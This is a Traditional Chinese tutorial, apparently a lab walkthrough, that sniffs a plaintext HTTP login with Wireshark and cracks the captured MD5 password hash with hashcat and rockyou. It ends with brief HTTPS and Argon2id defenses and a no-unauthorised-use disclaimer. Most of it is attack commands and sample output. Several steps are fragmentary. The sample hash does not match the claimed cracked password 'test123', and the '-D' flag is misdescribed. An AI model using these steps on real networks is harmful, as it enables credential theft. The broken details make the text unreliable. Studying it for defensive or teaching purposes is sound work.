採用 HTTP 明文傳輸 登入的網站,帳號密碼以 POST 請求體形式直接在網路上傳輸。攻擊者只需在同一廣播域(區域網/無線網)或具備路徑控制權(中間人)的位置,以混雜模式捕獲封包,即可提取憑證。此文純技術原理解析,嚴禁用於非授權滲透測試。
https://target.local/login.php(HTTP、表單登入)Applications → Kali Linux → Top 10 Security Tools → WiresharkCapture → Options → 選擇無線介面(如 wlan0) → 勾選「Promiscuous mode」 → Start。sampleuser / test123 登入。http.request.method == "POST" → 回車。login/auth)。POST /login.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
username=sampleuser&password=e4b7c855be6e3d4307b8d6ba4cd4ab91
可見:帳號 sampleuser 明文,密碼欄位為 32 字元十六進位字串,疑為 MD5 雜湊。
hash-identifier
# 貼上 e4b7c855be6e3d4307b8d6ba4cd4ab91 → 判定為 MD5
# 建立雜湊檔
echo "e4b7c855be6e3d4307b8d6ba4cd4ab91" > hash.txt
# hashcat 字典攻擊(rockyou.txt 內建於 Kali)
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force
# 輸出範例:e4b7c855be6e3d4307b8d6ba4cd4ab91:test123 ← 破解成功
GPU 加速:hashcat -m 0 -a 0 -D 1,2 hash.txt rockyou.txt(-D 1,2 啟用 OpenCL/CUDA)。
hash = Argon2id(password + salt) 再提交;Server 再次 hash = Argon2id(submitted_hash + db_salt) 存儲。即使攔獲提交雜湊,無法反推原始密碼,離線破解成本極高。開發者:永不在生產環境使用 HTTP 傳輸認證憑證;管理者:定期掃描內網 HTTP 登入入口並強制遷移至 HTTPS。